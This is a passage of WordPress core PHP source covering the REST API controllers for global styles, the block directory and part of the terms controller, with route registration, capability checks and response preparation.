					'permission_callback' => array( $this, 'get_theme_items_permissions_check' ),
					'args'                => array(
						'stylesheet' => array(
							'description' => __( 'The theme identifier' ),
							'type'        => 'string',
						),
					),
				),
			)
		);

		// List themes global styles.
		register_rest_route(
			$this->namespace,
			// The route.
			sprintf(
				'/%s/themes/(?P<stylesheet>%s)',
				$this->rest_base,
				/*
				 * Matches theme's directory: `/themes/<subdirectory>/<theme>/` or `/themes/<theme>/`.
				 * Excludes invalid directory name characters: `/:<>*?"|`.
				 */
				'[^\/:<>\*\?"\|]+(?:\/[^\/:<>\*\?"\|]+)?'
			),
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_theme_item' ),
					'permission_callback' => array( $this, 'get_theme_item_permissions_check' ),
					'args'                => array(
						'stylesheet' => array(
							'description'       => __( 'The theme identifier' ),
							'type'              => 'string',
							'sanitize_callback' => array( $this, '_sanitize_global_styles_callback' ),
						),
					),
				),
			)
		);

		// Lists/updates a single global style variation based on the given id.
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<id>[\/\w-]+)',
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => array(
						'id' => array(
							'description'       => __( 'The id of a template' ),
							'type'              => 'string',
							'sanitize_callback' => array( $this, '_sanitize_global_styles_callback' ),
						),
					),
				),
				array(
					'methods'             => WP_REST_Server::EDITABLE,
					'callback'            => array( $this, 'update_item' ),
					'permission_callback' => array( $this, 'update_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Sanitize the global styles ID or stylesheet to decode endpoint.
	 * For example, `wp/v2/global-styles/twentytwentytwo%200.4.0`
	 * would be decoded to `twentytwentytwo 0.4.0`.
	 *
	 * @since 5.9.0
	 *
	 * @param string $id_or_stylesheet Global styles ID or stylesheet.
	 * @return string Sanitized global styles ID or stylesheet.
	 */
	public function _sanitize_global_styles_callback( $id_or_stylesheet ) {
		return urldecode( $id_or_stylesheet );
	}

	/**
	 * Get the post, if the ID is valid.
	 *
	 * @since 5.9.0
	 *
	 * @param int $id Supplied ID.
	 * @return WP_Post|WP_Error Post object if ID is valid, WP_Error otherwise.
	 */
	protected function get_post( $id ) {
		$error = new WP_Error(
			'rest_global_styles_not_found',
			__( 'No global styles config exist with that id.' ),
			array( 'status' => 404 )
		);

		$id = (int) $id;
		if ( $id <= 0 ) {
			return $error;
		}

		$post = get_post( $id );
		if ( empty( $post ) || empty( $post->ID ) || $this->post_type !== $post->post_type ) {
			return $error;
		}

		return $post;
	}

	/**
	 * Checks if a given request has access to read a single global style.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		$post = $this->get_post( $request['id'] );
		if ( is_wp_error( $post ) ) {
			return $post;
		}

		if ( 'edit' === $request['context'] && $post && ! $this->check_update_permission( $post ) ) {
			return new WP_Error(
				'rest_forbidden_context',
				__( 'Sorry, you are not allowed to edit this global style.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( ! $this->check_read_permission( $post ) ) {
			return new WP_Error(
				'rest_cannot_view',
				__( 'Sorry, you are not allowed to view this global style.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Checks if a global style can be read.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_Post $post Post object.
	 * @return bool Whether the post can be read.
	 */
	protected function check_read_permission( $post ) {
		return current_user_can( 'read_post', $post->ID );
	}

	/**
	 * Returns the given global styles config.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request The request instance.
	 *
	 * @return WP_REST_Response|WP_Error
	 */
	public function get_item( $request ) {
		$post = $this->get_post( $request['id'] );
		if ( is_wp_error( $post ) ) {
			return $post;
		}

		return $this->prepare_item_for_response( $post, $request );
	}

	/**
	 * Checks if a given request has access to write a single global styles config.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has write access for the item, WP_Error object otherwise.
	 */
	public function update_item_permissions_check( $request ) {
		$post = $this->get_post( $request['id'] );
		if ( is_wp_error( $post ) ) {
			return $post;
		}

		if ( $post && ! $this->check_update_permission( $post ) ) {
			return new WP_Error(
				'rest_cannot_edit',
				__( 'Sorry, you are not allowed to edit this global style.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Checks if a global style can be edited.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_Post $post Post object.
	 * @return bool Whether the post can be edited.
	 */
	protected function check_update_permission( $post ) {
		return current_user_can( 'edit_post', $post->ID );
	}

	/**
	 * Updates a single global style config.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function update_item( $request ) {
		$post_before = $this->get_post( $request['id'] );
		if ( is_wp_error( $post_before ) ) {
			return $post_before;
		}

		$changes = $this->prepare_item_for_database( $request );
		if ( is_wp_error( $changes ) ) {
			return $changes;
		}

		$result = wp_update_post( wp_slash( (array) $changes ), true, false );
		if ( is_wp_error( $result ) ) {
			return $result;
		}

		$post          = get_post( $request['id'] );
		$fields_update = $this->update_additional_fields_for_object( $post, $request );
		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		wp_after_insert_post( $post, true, $post_before );

		$response = $this->prepare_item_for_response( $post, $request );

		return rest_ensure_response( $response );
	}

	/**
	 * Prepares a single global styles config for update.
	 *
	 * @since 5.9.0
	 * @since 6.2.0 Added validation of styles.css property.
	 *
	 * @param WP_REST_Request $request Request object.
	 * @return stdClass|WP_Error Prepared item on success. WP_Error on when the custom CSS is not valid.
	 */
	protected function prepare_item_for_database( $request ) {
		$changes     = new stdClass();
		$changes->ID = $request['id'];

		$post            = get_post( $request['id'] );
		$existing_config = array();
		if ( $post ) {
			$existing_config     = json_decode( $post->post_content, true );
			$json_decoding_error = json_last_error();
			if ( JSON_ERROR_NONE !== $json_decoding_error || ! isset( $existing_config['isGlobalStylesUserThemeJSON'] ) ||
				! $existing_config['isGlobalStylesUserThemeJSON'] ) {
				$existing_config = array();
			}
		}

		if ( isset( $request['styles'] ) || isset( $request['settings'] ) ) {
			$config = array();
			if ( isset( $request['styles'] ) ) {
				if ( isset( $request['styles']['css'] ) ) {
					$css_validation_result = $this->validate_custom_css( $request['styles']['css'] );
					if ( is_wp_error( $css_validation_result ) ) {
						return $css_validation_result;
					}
				}
				$config['styles'] = $request['styles'];
			} elseif ( isset( $existing_config['styles'] ) ) {
				$config['styles'] = $existing_config['styles'];
			}
			if ( isset( $request['settings'] ) ) {
				$config['settings'] = $request['settings'];
			} elseif ( isset( $existing_config['settings'] ) ) {
				$config['settings'] = $existing_config['settings'];
			}
			$config['isGlobalStylesUserThemeJSON'] = true;
			$config['version']                     = WP_Theme_JSON::LATEST_SCHEMA;
			$changes->post_content                 = wp_json_encode( $config );
		}

		// Post title.
		if ( isset( $request['title'] ) ) {
			if ( is_string( $request['title'] ) ) {
				$changes->post_title = $request['title'];
			} elseif ( ! empty( $request['title']['raw'] ) ) {
				$changes->post_title = $request['title']['raw'];
			}
		}

		return $changes;
	}

	/**
	 * Prepare a global styles config output for response.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_Post         $post    Global Styles post object.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $post, $request ) {
		$raw_config                       = json_decode( $post->post_content, true );
		$is_global_styles_user_theme_json = isset( $raw_config['isGlobalStylesUserThemeJSON'] ) && true === $raw_config['isGlobalStylesUserThemeJSON'];
		$config                           = array();
		if ( $is_global_styles_user_theme_json ) {
			$config = ( new WP_Theme_JSON( $raw_config, 'custom' ) )->get_raw_data();
		}

		// Base fields for every post.
		$fields = $this->get_fields_for_response( $request );
		$data   = array();

		if ( rest_is_field_included( 'id', $fields ) ) {
			$data['id'] = $post->ID;
		}

		if ( rest_is_field_included( 'title', $fields ) ) {
			$data['title'] = array();
		}
		if ( rest_is_field_included( 'title.raw', $fields ) ) {
			$data['title']['raw'] = $post->post_title;
		}
		if ( rest_is_field_included( 'title.rendered', $fields ) ) {
			add_filter( 'protected_title_format', array( $this, 'protected_title_format' ) );

			$data['title']['rendered'] = get_the_title( $post->ID );

			remove_filter( 'protected_title_format', array( $this, 'protected_title_format' ) );
		}

		if ( rest_is_field_included( 'settings', $fields ) ) {
			$data['settings'] = ! empty( $config['settings'] ) && $is_global_styles_user_theme_json ? $config['settings'] : new stdClass();
		}

		if ( rest_is_field_included( 'styles', $fields ) ) {
			$data['styles'] = ! empty( $config['styles'] ) && $is_global_styles_user_theme_json ? $config['styles'] : new stdClass();
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		// Wrap the data in a response object.
		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$links = $this->prepare_links( $post->ID );
			$response->add_links( $links );
			if ( ! empty( $links['self']['href'] ) ) {
				$actions = $this->get_available_actions();
				$self    = $links['self']['href'];
				foreach ( $actions as $rel ) {
					$response->add_link( $rel, $self );
				}
			}
		}

		return $response;
	}

	/**
	 * Prepares links for the request.
	 *
	 * @since 5.9.0
	 * @since 6.3.0 Adds revisions count and rest URL href to version-history.
	 *
	 * @param integer $id ID.
	 * @return array Links for the given post.
	 */
	protected function prepare_links( $id ) {
		$base = sprintf( '%s/%s', $this->namespace, $this->rest_base );

		$links = array(
			'self' => array(
				'href' => rest_url( trailingslashit( $base ) . $id ),
			),
		);

		if ( post_type_supports( $this->post_type, 'revisions' ) ) {
			$revisions                = wp_get_latest_revision_id_and_total_count( $id );
			$revisions_count          = ! is_wp_error( $revisions ) ? $revisions['count'] : 0;
			$revisions_base           = sprintf( '/%s/%d/revisions', $base, $id );
			$links['version-history'] = array(
				'href'  => rest_url( $revisions_base ),
				'count' => $revisions_count,
			);
		}

		return $links;
	}

	/**
	 * Get the link relations available for the post and current user.
	 *
	 * @since 5.9.0
	 * @since 6.2.0 Added 'edit-css' action.
	 *
	 * @return array List of link relations.
	 */
	protected function get_available_actions() {
		$rels = array();

		$post_type = get_post_type_object( $this->post_type );
		if ( current_user_can( $post_type->cap->publish_posts ) ) {
			$rels[] = 'https://api.w.org/action-publish';
		}

		if ( current_user_can( 'edit_css' ) ) {
			$rels[] = 'https://api.w.org/action-edit-css';
		}

		return $rels;
	}

	/**
	 * Overwrites the default protected title format.
	 *
	 * By default, WordPress will show password protected posts with a title of
	 * "Protected: %s", as the REST API communicates the protected status of a post
	 * in a machine readable format, we remove the "Protected: " prefix.
	 *
	 * @since 5.9.0
	 *
	 * @return string Protected title format.
	 */
	public function protected_title_format() {
		return '%s';
	}

	/**
	 * Retrieves the query params for the global styles collection.
	 *
	 * @since 5.9.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		return array();
	}

	/**
	 * Retrieves the global styles type' schema, conforming to JSON Schema.
	 *
	 * @since 5.9.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => $this->post_type,
			'type'       => 'object',
			'properties' => array(
				'id'       => array(
					'description' => __( 'ID of global styles config.' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'styles'   => array(
					'description' => __( 'Global styles.' ),
					'type'        => array( 'object' ),
					'context'     => array( 'view', 'edit' ),
				),
				'settings' => array(
					'description' => __( 'Global settings.' ),
					'type'        => array( 'object' ),
					'context'     => array( 'view', 'edit' ),
				),
				'title'    => array(
					'description' => __( 'Title of the global styles variation.' ),
					'type'        => array( 'object', 'string' ),
					'default'     => '',
					'context'     => array( 'embed', 'view', 'edit' ),
					'properties'  => array(
						'raw'      => array(
							'description' => __( 'Title for the global styles variation, as it exists in the database.' ),
							'type'        => 'string',
							'context'     => array( 'view', 'edit', 'embed' ),
						),
						'rendered' => array(
							'description' => __( 'HTML title for the post, transformed for display.' ),
							'type'        => 'string',
							'context'     => array( 'view', 'edit', 'embed' ),
							'readonly'    => true,
						),
					),
				),
			),
		);

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Checks if a given request has access to read a single theme global styles config.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise.
	 */
	public function get_theme_item_permissions_check( $request ) {
		/*
		 * Verify if the current user has edit_theme_options capability.
		 * This capability is required to edit/view/delete templates.
		 */
		if ( ! current_user_can( 'edit_theme_options' ) ) {
			return new WP_Error(
				'rest_cannot_manage_global_styles',
				__( 'Sorry, you are not allowed to access the global styles on this site.' ),
				array(
					'status' => rest_authorization_required_code(),
				)
			);
		}

		return true;
	}

	/**
	 * Returns the given theme global styles config.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request The request instance.
	 * @return WP_REST_Response|WP_Error
	 */
	public function get_theme_item( $request ) {
		if ( get_stylesheet() !== $request['stylesheet'] ) {
			// This endpoint only supports the active theme for now.
			return new WP_Error(
				'rest_theme_not_found',
				__( 'Theme not found.' ),
				array( 'status' => 404 )
			);
		}

		$theme  = WP_Theme_JSON_Resolver::get_merged_data( 'theme' );
		$fields = $this->get_fields_for_response( $request );
		$data   = array();

		if ( rest_is_field_included( 'settings', $fields ) ) {
			$data['settings'] = $theme->get_settings();
		}

		if ( rest_is_field_included( 'styles', $fields ) ) {
			$raw_data       = $theme->get_raw_data();
			$data['styles'] = isset( $raw_data['styles'] ) ? $raw_data['styles'] : array();
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$links = array(
				'self' => array(
					'href' => rest_url( sprintf( '%s/%s/themes/%s', $this->namespace, $this->rest_base, $request['stylesheet'] ) ),
				),
			);
			$response->add_links( $links );
		}

		return $response;
	}

	/**
	 * Checks if a given request has access to read a single theme global styles config.
	 *
	 * @since 6.0.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise.
	 */
	public function get_theme_items_permissions_check( $request ) {
		/*
		 * Verify if the current user has edit_theme_options capability.
		 * This capability is required to edit/view/delete templates.
		 */
		if ( ! current_user_can( 'edit_theme_options' ) ) {
			return new WP_Error(
				'rest_cannot_manage_global_styles',
				__( 'Sorry, you are not allowed to access the global styles on this site.' ),
				array(
					'status' => rest_authorization_required_code(),
				)
			);
		}

		return true;
	}

	/**
	 * Returns the given theme global styles variations.
	 *
	 * @since 6.0.0
	 * @since 6.2.0 Returns parent theme variations, if they exist.
	 *
	 * @param WP_REST_Request $request The request instance.
	 *
	 * @return WP_REST_Response|WP_Error
	 */
	public function get_theme_items( $request ) {
		if ( get_stylesheet() !== $request['stylesheet'] ) {
			// This endpoint only supports the active theme for now.
			return new WP_Error(
				'rest_theme_not_found',
				__( 'Theme not found.' ),
				array( 'status' => 404 )
			);
		}

		$variations = WP_Theme_JSON_Resolver::get_style_variations();

		return rest_ensure_response( $variations );
	}

	/**
	 * Validate style.css as valid CSS.
	 *
	 * Currently just checks for invalid markup.
	 *
	 * @since 6.2.0
	 * @since 6.4.0 Changed method visibility to protected.
	 *
	 * @param string $css CSS to validate.
	 * @return true|WP_Error True if the input was validated, otherwise WP_Error.
	 */
	protected function validate_custom_css( $css ) {
		if ( preg_match( '#</?\w+#', $css ) ) {
			return new WP_Error(
				'rest_custom_css_illegal_markup',
				__( 'Markup is not allowed in CSS.' ),
				array( 'status' => 400 )
			);
		}
		return true;
	}
}
<?php
/**
 * REST API: WP_REST_Block_Directory_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.5.0
 */

/**
 * Controller which provides REST endpoint for the blocks.
 *
 * @since 5.5.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Block_Directory_Controller extends WP_REST_Controller {

	/**
	 * Constructs the controller.
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'block-directory';
	}

	/**
	 * Registers the necessary REST API routes.
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/search',
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks whether a given request has permission to install and activate plugins.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has permission, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		if ( ! current_user_can( 'install_plugins' ) || ! current_user_can( 'activate_plugins' ) ) {
			return new WP_Error(
				'rest_block_directory_cannot_view',
				__( 'Sorry, you are not allowed to browse the block directory.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Search and retrieve blocks metadata
	 *
	 * @since 5.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		require_once ABSPATH . 'wp-admin/includes/plugin-install.php';
		require_once ABSPATH . 'wp-admin/includes/plugin.php';

		$response = plugins_api(
			'query_plugins',
			array(
				'block'    => $request['term'],
				'per_page' => $request['per_page'],
				'page'     => $request['page'],
			)
		);

		if ( is_wp_error( $response ) ) {
			$response->add_data( array( 'status' => 500 ) );

			return $response;
		}

		$result = array();

		foreach ( $response->plugins as $plugin ) {
			// If the API returned a plugin with empty data for 'blocks', skip it.
			if ( empty( $plugin['blocks'] ) ) {
				continue;
			}

			$data     = $this->prepare_item_for_response( $plugin, $request );
			$result[] = $this->prepare_response_for_collection( $data );
		}

		return rest_ensure_response( $result );
	}

	/**
	 * Parse block metadata for a block, and prepare it for an API response.
	 *
	 * @since 5.5.0
	 * @since 5.9.0 Renamed `$plugin` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param array           $item    The plugin metadata.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function prepare_item_for_response( $item, $request ) {
		// Restores the more descriptive, specific name for use within this method.
		$plugin = $item;

		$fields = $this->get_fields_for_response( $request );

		// There might be multiple blocks in a plugin. Only the first block is mapped.
		$block_data = reset( $plugin['blocks'] );

		// A data array containing the properties we'll return.
		$block = array(
			'name'                => $block_data['name'],
			'title'               => ( $block_data['title'] ? $block_data['title'] : $plugin['name'] ),
			'description'         => wp_trim_words( $plugin['short_description'], 30, '...' ),
			'id'                  => $plugin['slug'],
			'rating'              => $plugin['rating'] / 20,
			'rating_count'        => (int) $plugin['num_ratings'],
			'active_installs'     => (int) $plugin['active_installs'],
			'author_block_rating' => $plugin['author_block_rating'] / 20,
			'author_block_count'  => (int) $plugin['author_block_count'],
			'author'              => wp_strip_all_tags( $plugin['author'] ),
			'icon'                => ( isset( $plugin['icons']['1x'] ) ? $plugin['icons']['1x'] : 'block-default' ),
			'last_updated'        => gmdate( 'Y-m-d\TH:i:s', strtotime( $plugin['last_updated'] ) ),
			'humanized_updated'   => sprintf(
				/* translators: %s: Human-readable time difference. */
				__( '%s ago' ),
				human_time_diff( strtotime( $plugin['last_updated'] ) )
			),
		);

		$this->add_additional_fields_to_object( $block, $request );

		$response = new WP_REST_Response( $block );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$response->add_links( $this->prepare_links( $plugin ) );
		}

		return $response;
	}

	/**
	 * Generates a list of links to include in the response for the plugin.
	 *
	 * @since 5.5.0
	 *
	 * @param array $plugin The plugin data from WordPress.org.
	 * @return array
	 */
	protected function prepare_links( $plugin ) {
		$links = array(
			'https://api.w.org/install-plugin' => array(
				'href' => add_query_arg( 'slug', urlencode( $plugin['slug'] ), rest_url( 'wp/v2/plugins' ) ),
			),
		);

		$plugin_file = $this->find_plugin_for_slug( $plugin['slug'] );

		if ( $plugin_file ) {
			$links['https://api.w.org/plugin'] = array(
				'href'       => rest_url( 'wp/v2/plugins/' . substr( $plugin_file, 0, - 4 ) ),
				'embeddable' => true,
			);
		}

		return $links;
	}

	/**
	 * Finds an installed plugin for the given slug.
	 *
	 * @since 5.5.0
	 *
	 * @param string $slug The WordPress.org directory slug for a plugin.
	 * @return string The plugin file found matching it.
	 */
	protected function find_plugin_for_slug( $slug ) {
		require_once ABSPATH . 'wp-admin/includes/plugin.php';

		$plugin_files = get_plugins( '/' . $slug );

		if ( ! $plugin_files ) {
			return '';
		}

		$plugin_files = array_keys( $plugin_files );

		return $slug . '/' . reset( $plugin_files );
	}

	/**
	 * Retrieves the theme's schema, conforming to JSON Schema.
	 *
	 * @since 5.5.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$this->schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'block-directory-item',
			'type'       => 'object',
			'properties' => array(
				'name'                => array(
					'description' => __( 'The block name, in namespace/block-name format.' ),
					'type'        => 'string',
					'context'     => array( 'view' ),
				),
				'title'               => array(
					'description' => __( 'The block title, in human readable format.' ),
					'type'        => 'string',
					'context'     => array( 'view' ),
				),
				'description'         => array(
					'description' => __( 'A short description of the block, in human readable format.' ),
					'type'        => 'string',
					'context'     => array( 'view' ),
				),
				'id'                  => array(
					'description' => __( 'The block slug.' ),
					'type'        => 'string',
					'context'     => array( 'view' ),
				),
				'rating'              => array(
					'description' => __( 'The star rating of the block.' ),
					'type'        => 'number',
					'context'     => array( 'view' ),
				),
				'rating_count'        => array(
					'description' => __( 'The number of ratings.' ),
					'type'        => 'integer',
					'context'     => array( 'view' ),
				),
				'active_installs'     => array(
					'description' => __( 'The number sites that have activated this block.' ),
					'type'        => 'integer',
					'context'     => array( 'view' ),
				),
				'author_block_rating' => array(
					'description' => __( 'The average rating of blocks published by the same author.' ),
					'type'        => 'number',
					'context'     => array( 'view' ),
				),
				'author_block_count'  => array(
					'description' => __( 'The number of blocks published by the same author.' ),
					'type'        => 'integer',
					'context'     => array( 'view' ),
				),
				'author'              => array(
					'description' => __( 'The WordPress.org username of the block author.' ),
					'type'        => 'string',
					'context'     => array( 'view' ),
				),
				'icon'                => array(
					'description' => __( 'The block icon.' ),
					'type'        => 'string',
					'format'      => 'uri',
					'context'     => array( 'view' ),
				),
				'last_updated'        => array(
					'description' => __( 'The date when the block was last updated.' ),
					'type'        => 'string',
					'format'      => 'date-time',
					'context'     => array( 'view' ),
				),
				'humanized_updated'   => array(
					'description' => __( 'The date when the block was last updated, in fuzzy human readable format.' ),
					'type'        => 'string',
					'context'     => array( 'view' ),
				),
			),
		);

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves the search params for the blocks collection.
	 *
	 * @since 5.5.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		$query_params = parent::get_collection_params();

		$query_params['context']['default'] = 'view';

		$query_params['term'] = array(
			'description' => __( 'Limit result set to blocks matching the search term.' ),
			'type'        => 'string',
			'required'    => true,
			'minLength'   => 1,
		);

		unset( $query_params['search'] );

		/**
		 * Filters REST API collection parameters for the block directory controller.
		 *
		 * @since 5.5.0
		 *
		 * @param array $query_params JSON Schema-formatted collection parameters.
		 */
		return apply_filters( 'rest_block_directory_collection_params', $query_params );
	}
}
<?php
/**
 * REST API: WP_REST_Terms_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class used to managed terms associated with a taxonomy via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Terms_Controller extends WP_REST_Controller {

	/**
	 * Taxonomy key.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	protected $taxonomy;

	/**
	 * Instance of a term meta fields object.
	 *
	 * @since 4.7.0
	 * @var WP_REST_Term_Meta_Fields
	 */
	protected $meta;

	/**
	 * Column to have the terms be sorted by.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	protected $sort_column;

	/**
	 * Number of terms that were found.
	 *
	 * @since 4.7.0
	 * @var int
	 */
	protected $total_terms;

	/**
	 * Whether the controller supports batching.
	 *
	 * @since 5.9.0
	 * @var array
	 */
	protected $allow_batch = array( 'v1' => true );

	/**
	 * Constructor.
	 *
	 * @since 4.7.0
	 *
	 * @param string $taxonomy Taxonomy key.
	 */
	public function __construct( $taxonomy ) {
		$this->taxonomy  = $taxonomy;
		$tax_obj         = get_taxonomy( $taxonomy );
		$this->rest_base = ! empty( $tax_obj->rest_base ) ? $tax_obj->rest_base : $tax_obj->name;
		$this->namespace = ! empty( $tax_obj->rest_namespace ) ? $tax_obj->rest_namespace : 'wp/v2';

		$this->meta = new WP_REST_Term_Meta_Fields( $taxonomy );
	}

	/**
	 * Registers the routes for terms.
	 *
	 * @since 4.7.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				array(
					'methods'             => WP_REST_Server::CREATABLE,
					'callback'            => array( $this, 'create_item' ),
					'permission_callback' => array( $this, 'create_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::CREATABLE ),
				),
				'allow_batch' => $this->allow_batch,
				'schema'      => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<id>[\d]+)',
			array(
				'args'        => array(
					'id' => array(
						'description' => __( 'Unique identifier for the term.' ),
						'type'        => 'integer',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				array(
					'methods'             => WP_REST_Server::EDITABLE,
					'callback'            => array( $this, 'update_item' ),
					'permission_callback' => array( $this, 'update_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
				),
				array(
					'methods'             => WP_REST_Server::DELETABLE,
					'callback'            => array( $this, 'delete_item' ),
					'permission_callback' => array( $this, 'delete_item_permissions_check' ),
					'args'                => array(
						'force' => array(
							'type'        => 'boolean',
							'default'     => false,
							'description' => __( 'Required to be true, as terms do not support trashing.' ),
						),
					),
				),
				'allow_batch' => $this->allow_batch,
				'schema'      => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks if the terms for a post can be read.
	 *
	 * @since 6.0.3
	 *
	 * @param WP_Post         $post    Post object.
	 * @param WP_REST_Request $request Full details about the request.
	 * @return bool Whether the terms for the post can be read.
	 */
	public function check_read_terms_permission_for_post( $post, $request ) {
		// If the requested post isn't associated with this taxonomy, deny access.
		if ( ! is_object_in_taxonomy( $post->post_type, $this->taxonomy ) ) {
			return false;
		}

		// Grant access if the post is publicly viewable.
		if ( is_post_publicly_viewable( $post ) ) {
			return true;
		}

		// Otherwise grant access if the post is readable by the logged in user.
		if ( current_user_can( 'read_post', $post->ID ) ) {
			return true;
		}

		// Otherwise, deny access.
		return false;
	}

	/**
	 * Checks if a request has access to read terms in the specified taxonomy.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return bool|WP_Error True if the request has read access, otherwise false or WP_Error object.
	 */
	public function get_items_permissions_check( $request ) {
		$tax_obj = get_taxonomy( $this->taxonomy );

		if ( ! $tax_obj || ! $this->check_is_taxonomy_allowed( $this->taxonomy ) ) {
			return false;
		}

		if ( 'edit' === $request['context'] && ! current_user_can( $tax_obj->cap->edit_terms ) ) {
			return new WP_Error(
				'rest_forbidden_context',
				__( 'Sorry, you are not allowed to edit terms in this taxonomy.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( ! empty( $request['post'] ) ) {
			$post = get_post( $request['post'] );

			if ( ! $post ) {
				return new WP_Error(
					'rest_post_invalid_id',
					__( 'Invalid post ID.' ),
					array(
						'status' => 400,
					)
				);
			}

			if ( ! $this->check_read_terms_permission_for_post( $post, $request ) ) {
				return new WP_Error(
					'rest_forbidden_context',
					__( 'Sorry, you are not allowed to view terms for this post.' ),
					array(
						'status' => rest_authorization_required_code(),
					)
				);
			}
		}

		return true;
	}

	/**
	 * Retrieves terms associated with a taxonomy.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {

		// Retrieve the list of registered collection query parameters.
		$registered = $this->get_collection_params();

		/*
